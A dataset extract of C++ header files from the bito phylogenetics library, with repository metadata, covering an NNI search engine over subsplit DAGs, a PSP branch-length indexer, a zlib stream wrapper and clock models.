id
int64 0
877k
| file_name
stringlengths 3
109
| file_path
stringlengths 13
185
| content
stringlengths 31
9.38M
| size
int64 31
9.38M
| language
stringclasses 1
value | extension
stringclasses 11
values | total_lines
int64 1
340k
| avg_line_length
float64 2.18
149k
| max_line_length
int64 7
2.22M
| alphanum_fraction
float64 0
1
| repo_name
stringlengths 6
66
| repo_stars
int64 94
47.3k
| repo_forks
int64 0
12k
| repo_open_issues
int64 0
3.4k
| repo_license
stringclasses 11
values | repo_extraction_date
stringclasses 197
values | exact_duplicates_redpajama
bool 2
classes | near_duplicates_redpajama
bool 2
classes | exact_duplicates_githubcode
bool 2
classes | exact_duplicates_stackv2
bool 1
class | exact_duplicates_stackv1
bool 2
classes | near_duplicates_githubcode
bool 2
classes | near_duplicates_stackv1
bool 2
classes | near_duplicates_stackv2
bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1,532,090
|
nni_engine.hpp
|
phylovi_bito/src/nni_engine.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// NNI Engine is used to explore the topological space surrounding the
// subsplitDAG using NNI (Nearest Neighbor Interchange) moves. The engine functions by
// finding all the NNIs adjacent to the DAG, scoring them, then choosing to accept or
// reject each NNI based on a filtering criteria. For each NNI added to the DAG, each
// new edge added also adds new adjacent NNIs to the DAG. This process is repeated
// until no NNIs pass the filtering criteria. NNI scoring is facilitated by the
// NNIEvalEngines.
//
// To understand this code, it may be easiest to start by reading RunMainLoop and then
// branching out from there.
#pragma once
#include "gp_engine.hpp"
#include "tp_engine.hpp"
#include "gp_dag.hpp"
#include "bitset.hpp"
#include "subsplit_dag.hpp"
#include "nni_operation.hpp"
#include "graft_dag.hpp"
#include "sugar.hpp"
#include "gp_operation.hpp"
#include "reindexer.hpp"
#include "nni_evaluation_engine.hpp"
#include "nni_engine_key_index.hpp"
enum class NNIEvalEngineType {
GPEvalEngine,
TPEvalEngineViaLikelihood,
TPEvalEngineViaParsimony
};
static const inline size_t NNIEvalEngineTypeCount = 3;
class NNIEvalEngineTypeEnum
: public EnumWrapper<NNIEvalEngineType, size_t, NNIEvalEngineTypeCount,
NNIEvalEngineType::GPEvalEngine,
NNIEvalEngineType::TPEvalEngineViaParsimony> {
public:
static inline const std::string Prefix = "EvalEngineType";
static inline const Array<std::string> Labels = {{"GPEvalEngine", "TPEvalEngine"}};
static std::string ToString(const NNIEvalEngineType e) {
std::stringstream ss;
ss << Prefix << "::" << Labels[e];
return ss.str();
}
friend std::ostream &operator<<(std::ostream &os, const NNIEvalEngineType e) {
os << ToString(e);
return os;
}
};
class NNIEngine {
public:
using NNIDoubleMap = std::map<NNIOperation, double>;
using DoubleNNIPairSet = std::set<std::pair<double, NNIOperation>>;
// Constructors
NNIEngine(GPDAG &dag, std::optional<GPEngine *> gp_engine = std::nullopt,
std::optional<TPEngine *> tp_engine = std::nullopt);
// ** Access
// Get Reference of DAG.
GPDAG &GetDAG() { return dag_; };
const GPDAG &GetDAG() const { return dag_; };
// Get Reference of GraftDAG.
GraftDAG &GetGraftDAG() { return *graft_dag_.get(); };
const GraftDAG &GetGraftDAG() const { return *graft_dag_.get(); };
// Get Reference of Evaluation Engine.
NNIEvalEngine &GetEvalEngine() {
Assert(HasEvalEngine(), "EvalEngine has not been set.");
return *eval_engine_;
}
const NNIEvalEngine &GetEvalEngine() const {
Assert(HasEvalEngine(), "EvalEngine has not been set.");
return *eval_engine_;
}
bool HasEvalEngine() const { return eval_engine_ != nullptr; }
// Get Reference of GPEvalEngine.
NNIEvalEngineViaGP &GetGPEvalEngine() {
Assert(HasGPEvalEngine(), "GPEvalEngine has not been set.");
return *eval_engine_via_gp_.get();
}
const NNIEvalEngineViaGP &GetGPEvalEngine() const {
Assert(HasGPEvalEngine(), "GPEvalEngine has not been set.");
return *eval_engine_via_gp_.get();
}
bool HasGPEvalEngine() const { return eval_engine_via_gp_ != nullptr; }
// Get Reference of TPEvalEngine.
NNIEvalEngineViaTP &GetTPEvalEngine() {
Assert(HasTPEvalEngine(), "TPEvalEngine has not been set.");
return *eval_engine_via_tp_.get();
}
const NNIEvalEngineViaTP &GetTPEvalEngine() const {
Assert(HasTPEvalEngine(), "TPEvalEngine has not been set.");
return *eval_engine_via_tp_.get();
}
bool HasTPEvalEngine() const { return eval_engine_via_tp_ != nullptr; }
// Get Reference of GPEngine.
const GPEngine &GetGPEngine() const {
Assert(HasGPEvalEngine(), "GPEvalEngine has not been set.");
return GetGPEvalEngine().GetGPEngine();
}
// Get Reference of TPEngine.
const TPEngine &GetTPEngine() const {
Assert(HasTPEvalEngine(), "TPEvalEngine has not been set.");
return GetTPEvalEngine().GetTPEngine();
}
// Get score for given NNI in or adjacent to DAG.
double GetScoreByNNI(const NNIOperation &nni) const;
double GetScoreByEdge(const EdgeId edge_id) const;
// NNIs currently adjacent to DAG.
const NNISet &GetAdjacentNNIs() const { return adjacent_nnis_; }
size_t GetAdjacentNNICount() const { return adjacent_nnis_.size(); }
// Adjacent NNIs that have been added in the current iteration.
const NNISet &GetNewAdjacentNNIs() const { return new_adjacent_nnis_; }
size_t GetNewAdjacentNNICount() const { return new_adjacent_nnis_.size(); }
size_t GetOldNNICount() const {
return adjacent_nnis_.size() - new_adjacent_nnis_.size();
}
// NNIs that have been Accepted on current iteration.
const NNISet &GetAcceptedNNIs() const { return accepted_nnis_; }
size_t GetAcceptedNNICount() const { return GetAcceptedNNIs().size(); }
// NNIs that have been Accepted from all iterations.
const NNISet &GetPastAcceptedNNIs() const { return accepted_past_nnis_; }
size_t GetPastAcceptedNNICount() const { return GetPastAcceptedNNIs().size(); }
// Get NNIs that have been Rejected on current iteration.
const NNISet &GetRejectedNNIs() const { return rejected_nnis_; }
size_t GetRejectedNNICount() const { return GetRejectedNNIs().size(); }
// Get NNIs that have been Rejected from all iterations.
const NNISet &GetPastRejectedNNIs() const { return rejected_past_nnis_; }
size_t GetPastRejectedNNICount() const { return GetPastRejectedNNIs().size(); }
// Get Map of proposed NNIs with their score.
const NNIDoubleMap &GetScoredNNIs() const { return scored_nnis_; }
size_t GetScoredNNICount() const { return GetScoredNNIs().size(); }
// Get Map of proposed NNIs with their score from all iterations.
const NNIDoubleMap &GetPastScoredNNIs() const { return scored_past_nnis_; }
size_t GetPastScoredNNICount() const { return GetPastScoredNNIs().size(); }
// Get NNIs to rescore: marks adjacent NNIs which we want to recompute the
// likelihood. This should just be new NNIs for TP (since future modifications
// don't affect previous scores), but we want to rescore all adjacent NNIs for
// GP (since old NNIs are affected by the state of the DAG).
const NNISet &GetNNIsToRescore() const {
return GetRescoreRejectedNNIs() ? GetAdjacentNNIs() : GetNewAdjacentNNIs();
}
size_t GetNNIToRescoreCount() const { return GetNNIsToRescore().size(); }
const NNIDoubleMap &GetScoredNNIsToRescore() const {
return GetRescoreRejectedNNIs() ? scored_nnis_ : new_scored_nnis_;
}
const DoubleNNIPairSet &GetSortedScoredNNIsToRescore() const {
return GetRescoreRejectedNNIs() ? sorted_scored_nnis_ : new_sorted_scored_nnis_;
}
// Returns NNIs we want to consider adding to the DAG. Depending on the option
// chosen, this will either be strictly new adjacent NNIs or all adjacent NNIs
// (including previously rejected NNIs)
const NNISet &GetNNIsToReevaluate() const {
return GetReevaluateRejectedNNIs() ? GetAdjacentNNIs() : GetNewAdjacentNNIs();
}
size_t GetNNIsToReevaluateCount() const { return GetNNIsToReevaluate().size(); }
const NNIDoubleMap &GetScoredNNIsToReevaluate() const {
return GetReevaluateRejectedNNIs() ? scored_nnis_ : new_scored_nnis_;
}
const DoubleNNIPairSet &GetSortedScoredNNIsToReevaluate() const {
return GetReevaluateRejectedNNIs() ? sorted_scored_nnis_ : new_sorted_scored_nnis_;
}
// Get vector of proposed NNI scores.
DoubleVector GetNNIScores() const {
DoubleVector scores;
for (const auto &[nni, score] : GetScoredNNIs()) {
std::ignore = nni;
scores.push_back(score);
}
return scores;
}
// Get proposed NNI score.
double GetNNIScore(const NNIOperation &nni) const {
const auto it_1 = GetScoredNNIs().find(nni);
if (it_1 != GetScoredNNIs().end()) {
return it_1->second;
}
const auto it_2 = GetPastScoredNNIs().find(nni);
if (it_2 != GetPastScoredNNIs().end()) {
return it_2->second;
}
return -INFINITY;
}
// Reindexers for recent DAG modifications.
const SubsplitDAG::ModificationResult &GetMods() const { return mods_; }
const Reindexer &GetNodeReindexer() const { return mods_.node_reindexer; }
const Reindexer &GetEdgeReindexer() const { return mods_.edge_reindexer; }
// Option whether to re-evaluate rejected nnis.
bool GetReevaluateRejectedNNIs() const { return reevaluate_rejected_nnis_; }
void SetReevaluateRejectedNNIs(const bool reevaluate_rejected_nnis) {
reevaluate_rejected_nnis_ = reevaluate_rejected_nnis;
}
// Option whether to re-score rejected nnis.
bool GetRescoreRejectedNNIs() const { return rescore_rejected_nnis_; }
void SetRescoreRejectedNNIs(const bool rescore_rejected_nnis) {
rescore_rejected_nnis_ = rescore_rejected_nnis;
}
// Option whether to include NNIs at containing rootsplits.
bool GetIncludeRootsplitNNIs() const { return include_rootsplit_nnis_; }
void SetIncludeRootsplitNNIs(const bool include_rootsplit_nnis) {
include_rootsplit_nnis_ = include_rootsplit_nnis;
}
// Get number of runs of NNI engine.
size_t GetIterationCount() const { return iter_count_; };
// Reset number of iterations.
void ResetIterationCount() { iter_count_ = 0; }
// ** NNI Evaluation Engine
// Set GP Engine.
NNIEvalEngineViaGP &MakeGPEvalEngine(GPEngine *gp_engine);
// Set TP Engine.
NNIEvalEngineViaTP &MakeTPEvalEngine(TPEngine *tp_engine);
// Check if evaluation engine is currently in use.
bool IsEvalEngineInUse(const NNIEvalEngineType eval_engine_type) const {
return eval_engine_in_use_[eval_engine_type];
}
// Remove all evaluation engines from use.
void ClearEvalEngineInUse();
// Set evaluation engine type for use in runner.
void SelectEvalEngine(const NNIEvalEngineType eval_engine_type);
// Set GP evaluation engine for use in runner.
void SelectGPEvalEngine();
// Set TP likelihood evaluation engine for use in runner.
void SelectTPLikelihoodEvalEngine();
// Set TP parsimony evaluation engine for use in runner.
void SelectTPParsimonyEvalEngine();
// Initial GPEngine for use with GraftDAG.
void InitEvalEngine();
// Populate PLVs for quick lookup of likelihoods.
void PrepEvalEngine();
// Resize Engine for modified DAG.
void GrowEvalEngineForDAG(std::optional<Reindexer> node_reindexer,
std::optional<Reindexer> edge_reindexer);
// Update PVs after modifying the DAG.
void UpdateEvalEngineAfterModifyingDAG(
const std::map<NNIOperation, NNIOperation> &pre_nni_to_nni,
const size_t prev_node_count, const Reindexer &node_reindexer,
const size_t prev_edge_count, const Reindexer &edge_reindexer);
// Fetches Pre-NNI data to prep Post-NNI for likelihood computation. Method stores
// intermediate values in the GPEngine temp space (expects GPEngine has already been
// resized).
void GrowEvalEngineForAdjacentNNIs(const bool via_reference = true,
const bool use_unique_temps = false);
// Get evaluation engine's branch length handler.
const DAGBranchHandler &GetDAGBranchHandler() const;
// Get branch lengths.
const EigenVectorXd GetBranchLengths() const {
return GetDAGBranchHandler().GetBranchLengths().GetDAGData();
}
// ** Runners
// These start the engine, which procedurally ranks and adds (and maybe removes) NNIs
// to the DAG, until some termination criteria has been satisfied.
// Primary Runner for NNI Engine.
void Run(const bool is_quiet = true);
// Initialization step run before loop.
void RunInit(const bool is_quiet = true);
// Step that finds adjacent NNIs, evaluates, then accepts or rejects them.
void RunMainLoop(const bool is_quiet = true);
// Step that runs at the end of each loop, preps for next loop.
void RunPostLoop(const bool is_quiet = true);
// ** Filter Functions
// Function template for initialization step to be run on first iteration.
using StaticFilterInitFunction = std::function<void(NNIEngine &)>;
// Function template for update step to be run at beginning or end of each iteration.
using StaticFilterUpdateFunction = std::function<void(NNIEngine &)>;
// Function template for scoring to be performed on each adjacent NNI.
using StaticFilterScoreLoopFunction =
std::function<double(NNIEngine &, const NNIOperation &)>;
// Function template for processing an adjacent NNI to be accepted or rejected.
using StaticFilterEvaluateFunction =
std::function<void(NNIEngine &, const NNISet &, const NNIDoubleMap &,
const DoubleNNIPairSet &, NNISet &)>;
using StaticFilterEvaluateLoopFunction =
std::function<bool(NNIEngine &, const NNIOperation &, const double)>;
// Function template for updating data structs after modifying DAG by adding
// accepted NNIs.
using StaticFilterModificationFunction =
std::function<void(NNIEngine &, const SubsplitDAG::ModificationResult &,
const std::map<NNIOperation, NNIOperation> &)>;
// ** Filter Subroutines
// Initialize filter before first iteration.
void FilterInit();
// Update step before scoring NNIs
void FilterPreScore();
// Scoring step assigns a score for each NNI.
void FilterScoreAdjacentNNIs();
// Update step after scoring NNIs.
void FilterPostScore();
// Filtering step which determines whether each NNI will accepted or rejected.
void FilterEvaluateAdjacentNNIs();
// Update at end of each iteration (after modifying DAG by adding accepted NNIs).
void FilterPostModification(
const std::map<NNIOperation, NNIOperation> &nni_to_pre_nni);
// Set filter initialization function. Called at the beginning of NNI engine run,
// before main loop.
void SetFilterInitFunction(StaticFilterInitFunction filter_init_fn);
// Set filter pre-score update step. Performed once each iteration before scoring
// NNIs.
void SetFilterPreScoreFunction(StaticFilterUpdateFunction filter_pre_score_fn);
// Set filter score step. Scoring step is performed on each proposed adjacent
// NNI individually, and returns a score for that NNI.
void SetFilterScoreLoopFunction(StaticFilterScoreLoopFunction filter_score_loop_fn);
// Set filter post-score update step. Performed once each iteration after scoring
// NNIs.
void SetFilterPostScoreFunction(StaticFilterUpdateFunction filter_post_score_fn);
// Set filter processing step. Processing step is performed on each proposed adjacent
// NNI individually, taking in its NNI score and outputting a boolean whether to
// accept or reject the NNI.
void SetFilterEvaluateFunction(StaticFilterEvaluateFunction filter_evaluate_fn);
void SetFilterEvaluateLoopFunction(
StaticFilterEvaluateLoopFunction filter_evaluate_loop_fn);
// Set filter post-iteration step. Performed once at the end of each iteration, after
// adding accepted NNIs to DAG.
void SetFilterPostModificationFunction(
StaticFilterModificationFunction filter_post_modification_fn);
// ** Filtering Schemes
// Set filtering scheme to simply accept or reject all NNIs.
void SetNoFilter(const bool accept_all_nnis);
// Set filtering scheme to use GP likelihoods.
void SetGPLikelihoodFilteringScheme();
// Set filtering scheme to use TP likelihoods.
void SetTPLikelihoodFilteringScheme();
// Set filtering scheme to use TP parsimonies.
void SetTPParsimonyFilteringScheme();
// Set filtering scheme to use GP likelihoods, using static cutoff.
void SetGPLikelihoodCutoffFilteringScheme(const double score_cutoff);
// Set filtering scheme to use TP likelihoods, using static cutoff.
void SetTPLikelihoodCutoffFilteringScheme(const double score_cutoff);
// Set filtering scheme to use TP parsimony, using static cutoff.
void SetTPParsimonyCutoffFilteringScheme(const double score_cutoff);
// Set filtering scheme to use GP likelihoods, using static cutoff.
void SetGPLikelihoodDropFilteringScheme(const double score_cutoff);
// Set filtering scheme to use TP likelihoods, using static cutoff.
void SetTPLikelihoodDropFilteringScheme(const double score_cutoff);
// Set filtering scheme to use TP parsimony, using static cutoff.
void SetTPParsimonyDropFilteringScheme(const double score_cutoff);
// Set filtering scheme to find the top K best-scoring NNIs.
void SetTopKScoreFilteringScheme(const size_t k, const bool max_is_best = true);
// ** Filtering Scheme Helper Functions
// Set filter to score to constant value.
void SetScoreToConstant(const double value = -INFINITY);
// Set filter to score using evaluation engine.
void SetScoreViaEvalEngine();
// Set filter to accept/deny all adjacent NNIs.
void SetNoEvaluate(const bool set_all_nni_to_pass = true);
// Set filter by accepting NNIs contained in explicit set.
void SetEvaluateViaSetOfNNIs(const std::set<NNIOperation> &nnis_to_accept);
// Set cutoff filter to constant cutoff. Accept scores above threshold.
void SetEvaluateViaMinScoreCutoff(const double score_cutoff);
// Set cutoff filter to constant cutoff. Accept scores below threshold.
void SetEvaluateViaMaxScoreCutoff(const double score_cutoff);
// Performs entire scoring computation for all Adjacent NNIs.
void ScoreAdjacentNNIs();
// Get minimum score from scored NNIs.
double GetMinScore() const;
// Get maximum score from scored NNIs.
double GetMaxScore() const;
// Get bottom kth score from scored NNIs.
double GetMinKScore(const size_t k) const;
// Get top kth score from scored NNIs.
double GetMaxKScore(const size_t k) const;
// Get bottom kth score from scored NNIs.
std::set<NNIOperation> GetMinKScoringNNIs(const size_t k) const;
// Get top kth score from scored NNIs.
std::set<NNIOperation> GetMaxKScoringNNIs(const size_t k) const;
// ** Key Indexing
using KeyIndex = NNIEngineKeyIndex;
using KeyIndexPairArray = NNIEngineKeyIndexPairArray;
using KeyIndexMap = NNIEngineKeyIndexMap;
using KeyIndexMapPair = NNIEngineKeyIndexMapPair;
// Translate NNIClade type to corresponding PHat PLV from KeyIndex type.
using NNIClade = NNIOperation::NNIClade;
static KeyIndex NNICladeToPHatPLV(NNIClade clade_type);
// Builds an array containing a mapping of plvs from Pre-NNI to Post-NNI, according to
// remapping of the NNI clades (sister, right_child, left_child).
static KeyIndexPairArray BuildKeyIndexTypePairsFromPreNNIToPostNNI(
const NNIOperation &pre_nni, const NNIOperation &post_nni);
// Create map of key indices for given NNIOperation needed for computing NNI
// Likelihoods.
template <typename DAGType>
static KeyIndexMap BuildKeyIndexMapForNNI(const NNIOperation &nni, const DAGType &dag,
const size_t node_count);
KeyIndexMap BuildKeyIndexMapForNNI(const NNIOperation &nni,
const size_t node_count) const;
// Create map of key indices for Post-NNI, using Pre-NNI map as a reference.
template <typename DAGType>
static KeyIndexMap BuildKeyIndexMapForPostNNIViaReferencePreNNI(
const NNIOperation &pre_nni, const NNIOperation &post_nni,
const KeyIndexMap &pre_key_idx, const DAGType &dag);
KeyIndexMap BuildKeyIndexMapForPostNNIViaReferencePreNNI(
const NNIOperation &pre_nni, const NNIOperation &post_nni,
const KeyIndexMap &pre_key_idx) const;
// ** DAG Maintenance
// Add all Accepted NNIs to Main DAG.
void AddAcceptedNNIsToDAG(const bool is_quiet = true);
// Add all Adjacent NNIs to Graft DAG.
void GraftAdjacentNNIsToDAG(const bool is_quiet = true);
// Remove all NNIs from Graft DAG.
void RemoveAllGraftedNNIsFromDAG();
// ** NNI Maintenance
// These maintain NNIs to stay consistent with the state of associated GraftDAG.
// Add score to given NNI.
void AddNNIScore(const NNIOperation &nni, const double score);
// Remove score for given NNI.
void RemoveNNIScore(const NNIOperation &nni);
// Freshly synchonizes NNISet to match the current state of its DAG. Wipes old NNI
// data and finds all all parent/child pairs adjacent to DAG by iterating over all
// internal edges in the DAG. (For each internal edges, two NNIs are possible.)
void SyncAdjacentNNIsWithDAG(const bool on_init = false);
// Updates NNI Set after given parent/child node pair have been added to the DAG.
// Removes pair from NNI Set and adds adjacent pairs coming from newly created edges.
void UpdateAdjacentNNIsAfterDAGAddNodePair(const NNIOperation &nni);
void UpdateAdjacentNNIsAfterDAGAddNodePair(const Bitset &parent_bitset,
const Bitset &child_bitset);
// Adds all NNIs from all (node_id, other_id) pairs, where other_id's are elements of
// the adjacent_node_ids vector. is_edge_leafward tells whether node_id is the child
// or parent. is_edge_on_left determines which side of parent the child descends
// from.
void AddAllNNIsFromNodeVectorToAdjacentNNIs(const NodeId node_id,
const SizeVector &adjacent_node_ids,
const bool is_edge_on_left,
const bool is_edge_leafward);
// Based on given input NNIOperation, produces the two possible output NNIOperations
// and adds those results to the NNI Set (if results are not a member of the DAG or
// NNI Set).
void SafeAddOutputNNIsToAdjacentNNIs(const Bitset &parent_bitset,
const Bitset &child_bitset,
const bool is_edge_on_left);
// This handles updating all NNI data: adjacent, new, accepted, rejected, and scored
// NNIs.
void UpdateRejectedNNIs();
void UpdateAdjacentNNIs();
void UpdateScoredNNIs();
void UpdateAcceptedNNIs();
void UpdateOutOfDateAdjacentNNIs();
// Reset all NNIs, current and past.
void ResetNNIData();
private:
// ** Access
// Get Reference of GP Engine.
GPEngine &GetGPEngine() {
Assert(HasGPEvalEngine(), "GPEvalEngine has not been set.");
return GetGPEvalEngine().GetGPEngine();
}
// Get Reference of TP Engine.
TPEngine &GetTPEngine() {
Assert(HasTPEvalEngine(), "TPEvalEngine has not been set.");
return GetTPEvalEngine().GetTPEngine();
}
// Un-owned reference DAG.
GPDAG &dag_;
// For adding temporary NNIs to DAG.
std::unique_ptr<GraftDAG> graft_dag_;
// Tracks modifications to the DAG.
SubsplitDAG::ModificationResult mods_;
// A map showing which Evaluation Engines are "in use". Several engines may be
// instatiated, but may or may not be currently used for computation, and therefore
// may not need to be upkept.
NNIEvalEngineTypeEnum::Array<bool> eval_engine_in_use_;
// Un-owned reference to NNI Evaluation Engine. Can be used to evaluate NNIs according
// to Generalized Pruning, Likelihood, Parsimony, etc. Primary eval engine reference,
// points to one of the available evaluation engines.
NNIEvalEngine *eval_engine_ = nullptr;
std::vector<NNIEvalEngine *> available_eval_engines_;
// Evaluation engine for scoring NNIs using GP.
std::unique_ptr<NNIEvalEngineViaGP> eval_engine_via_gp_ = nullptr;
// Evaluation engine for scoring NNIs using TP.
std::unique_ptr<NNIEvalEngineViaTP> eval_engine_via_tp_ = nullptr;
// Set of NNIs to be evaluated, which are a single NNI.
NNISet adjacent_nnis_;
// Set of NNIs new to the current iteration.
NNISet new_adjacent_nnis_;
// NNIs which have passed the filtering threshold during current iteration, to be
// added to the DAG.
NNISet accepted_nnis_;
// NNIs which have been accepted in a previous iteration of the search.
NNISet accepted_past_nnis_;
// NNIs which have failed the filtering threshold during current iteration, NOT to be
// added to the DAG.
NNISet rejected_nnis_;
// NNIs which have been rejected in a previous iteration of the search.
NNISet rejected_past_nnis_;
// Map of adjacent NNIs to their score.
NNIDoubleMap scored_nnis_;
// Map of new NNIs to their score.
NNIDoubleMap new_scored_nnis_;
// Map of previous rejected NNIs to their score.
NNIDoubleMap scored_past_nnis_;
// Set of adjacent NNI scores, sorted by score.
DoubleNNIPairSet sorted_scored_nnis_;
// Set of new NNI scores, sorted by score.
DoubleNNIPairSet new_sorted_scored_nnis_;
// Steps of filtering scheme.
StaticFilterInitFunction filter_init_fn_ = nullptr;
StaticFilterUpdateFunction filter_pre_score_fn_ = nullptr;
StaticFilterScoreLoopFunction filter_score_loop_fn_ = nullptr;
StaticFilterUpdateFunction filter_post_score_fn_ = nullptr;
StaticFilterEvaluateFunction filter_evaluate_fn_ = nullptr;
StaticFilterEvaluateLoopFunction filter_evaluate_loop_fn_ = nullptr;
StaticFilterModificationFunction filter_post_modification_fn_ = nullptr;
// Count number of loops executed by engine.
size_t iter_count_ = 0;
// Count number of proposed NNIs computed.
size_t proposed_nnis_computed_ = 0;
// Whether to optimize branch lengths during optimization.
bool optimize_on_init = true;
// Whether to consider max or minimum scores as best.
bool max_is_best = true;
// Whether to re-evaluate rejected NNIs from previous iterations.
bool reevaluate_rejected_nnis_ = true;
// Whether to re-compute scores for rejected NNIs from previous iterations.
bool rescore_rejected_nnis_ = false;
// Whether to re-compute scores adjacent to newly added NNIs from previous iterations.
bool rescore_old_nnis_adjacent_to_new_nnis_ = false;
// Whether to include NNIs whose parent is a rootsplit.
bool include_rootsplit_nnis_ = true;
// Whether to save past iteration data.
bool save_past_scored_nnis_ = false;
bool save_past_accepted_nnis_ = true;
bool save_past_rejected_nnis_ = true;
bool track_rejected_nnis_ = false;
};
| 25,977
|
C++
|
.h
| 519
| 45.795761
| 88
| 0.745079
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,091
|
psp_indexer.hpp
|
phylovi_bito/src/psp_indexer.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// This is a class implementing the an indexing scheme for the Primary Subsplit
// Pair branch length parameterization.
// See the 2019 ICLR paper for details, and the web documentation for a bit of
// an introduction.
//
// We will use the first unused index ("first_empty_index") as a sentinel that
// means "not present." This only happens on pendant branches, which do not have
// a PSP component "below" the pendant branch.
#pragma once
#include <memory>
#include <string>
#include <unordered_map>
#include <utility>
#include <vector>
#include "sbn_maps.hpp"
#include "sugar.hpp"
#include "unrooted_tree_collection.hpp"
class PSPIndexer {
public:
PSPIndexer() : after_rootsplits_index_(0), first_empty_index_(0) {}
PSPIndexer(BitsetVector rootsplits, BitsetSizeMap in_indexer);
size_t AfterRootsplitsIndex() const { return after_rootsplits_index_; }
size_t FirstEmptyIndex() const { return first_empty_index_; }
// These are just some things that we may want to know about the indexer.
StringSizeMap Details() const {
return {
// The first index after the rootsplits.
{"after_rootsplits_index", after_rootsplits_index_},
// The first empty index, which is the number of entries. We will use
// this value as a "sentinel" as described above.
{"first_empty_index", first_empty_index_},
// This is the "official" definition of a PSP indexer representation of
// a tree. It's a vector of vectors, where the order of entries of the
// outer vector is laid out as follows.
{"rootsplit_position", 0},
{"subsplit_down_position", 1},
{"subsplit_up_position", 2},
};
}
// Reverse the indexer to a vector of strings.
// We add in another extra empty string at the end for "no entry."
StringVector ToStringVector() const;
// Get the PSP representation of a given topology.
SizeVectorVector RepresentationOf(const Node::NodePtr& topology) const;
// Get the string version of the representation.
// Inefficiently implemented, so for testing only.
StringVectorVector StringRepresentationOf(const Node::NodePtr& topology) const;
// Return a ragged vector of vectors such that the ith vector is the
// collection of branch lengths in the tree collection for the ith split.
DoubleVectorVector SplitLengths(const UnrootedTreeCollection& tree_collection) const;
private:
BitsetSizeMap indexer_;
size_t after_rootsplits_index_;
size_t first_empty_index_;
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("PSPIndexer") {}
#endif // DOCTEST_LIBRARY_INCLUDED
| 2,712
|
C++
|
.h
| 61
| 41
| 87
| 0.738357
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,092
|
zlib_stream.hpp
|
phylovi_bito/src/zlib_stream.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// Interface to the zlib compression library
#pragma once
#include <zlib.h>
#include <atomic>
#include <memory>
#include <sstream>
#include <stdexcept>
#include <streambuf>
namespace zlib {
// The result of an inflate operation. Contains the counts of consumed and
// produced bytes.
struct Result {
enum class [[nodiscard]] Code : decltype(Z_OK){
ok = Z_OK,
stream_end = Z_STREAM_END,
need_dict = Z_NEED_DICT,
};
Code code;
size_t in_count;
size_t out_count;
};
// Thrown when zlib generates an error internally
struct Exception : public std::runtime_error {
enum class Code : decltype(Z_OK) {
sys = Z_ERRNO,
stream = Z_STREAM_ERROR,
data = Z_DATA_ERROR,
mem = Z_MEM_ERROR,
buf = Z_BUF_ERROR,
version = Z_VERSION_ERROR,
};
Exception(Code c, const char* message) : std::runtime_error{message}, code{c} {}
explicit Exception(Code c) : std::runtime_error{""}, code{c} {}
const Code code;
};
// Flush mode; see zlib documentation. We're only using partial for maximum
// compatability.
enum class Flush : decltype(Z_OK) {
no = Z_NO_FLUSH,
partial = Z_PARTIAL_FLUSH,
sync = Z_SYNC_FLUSH,
full = Z_FULL_FLUSH,
finish = Z_FINISH,
block = Z_BLOCK,
trees = Z_TREES,
};
namespace detail {
// Wrapper for zlib calls. Will throw if unsuccessful
constexpr Result::Code call_zlib(int zlib_code, const z_stream& impl);
} // namespace detail
// Wrapper around zlib inflate
class ZStream {
public:
ZStream();
~ZStream() noexcept;
// Manually release the zlib resources, and throw if an error occurs. This
// will be performed automatically by the destructor, with exceptions
void Close();
// Performs a round of decompression. The result object contains
// status code, count of consumed bytes and count of produced bytes
Result Inflate(Flush mode, const unsigned char* in, size_t in_size,
unsigned char* out, size_t out_size);
private:
::z_stream impl_ = {};
std::atomic_flag closed_ = ATOMIC_FLAG_INIT;
};
// IO streams interface for zlib. Performs buffering on both compressed and
// decompressed sides. Takes input from a std::istream.
class ZStringBuf : public std::stringbuf {
using base = std::stringbuf;
public:
// Takes an input stream for compressed side, and buffer sizes for the
// compressed and decompressed sides.
ZStringBuf(const std::istream& in, size_t in_buf_size, size_t out_buf_size);
virtual ~ZStringBuf() override;
protected:
virtual int_type underflow() override;
virtual int_type uflow() override;
virtual std::streamsize xsgetn(char_type* s, std::streamsize count) override;
private:
void ensure_avail(std::streamsize count);
std::streambuf& in_;
std::unique_ptr<char[]> in_buf_;
const std::streamsize in_buf_size_;
std::unique_ptr<char[]> out_buf_;
const std::streamsize out_buf_size_;
ZStream inflate_;
};
} // namespace zlib
| 3,038
|
C++
|
.h
| 92
| 30.141304
| 82
| 0.719274
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,093
|
clock_model.hpp
|
phylovi_bito/src/clock_model.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <memory>
#include <string>
#include "block_model.hpp"
#include "node.hpp"
class ClockModel : public BlockModel {
public:
ClockModel(const BlockSpecification::ParamCounts& param_counts)
: BlockModel(param_counts) {}
virtual ~ClockModel() = default;
virtual double GetRate(size_t node_id) = 0;
static std::unique_ptr<ClockModel> OfSpecification(const std::string& specification);
};
class NoClockModel : public ClockModel {
public:
explicit NoClockModel() : ClockModel({}) {}
double GetRate(size_t node_id) override { return 1.; }
void SetParameters(const EigenVectorXdRef parameters) override{};
};
class StrictClockModel : public ClockModel {
public:
explicit StrictClockModel(double rate) : ClockModel({{rate_key_, 1}}), rate_(rate) {}
StrictClockModel() : StrictClockModel(1.0) {}
double GetRate(size_t node_id) override { return rate_; }
void SetParameters(const EigenVectorXdRef parameters) override;
inline const static std::string rate_key_ = "clock_rate";
private:
double rate_;
};
| 1,184
|
C++
|
.h
| 31
| 35.548387
| 87
| 0.757469
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
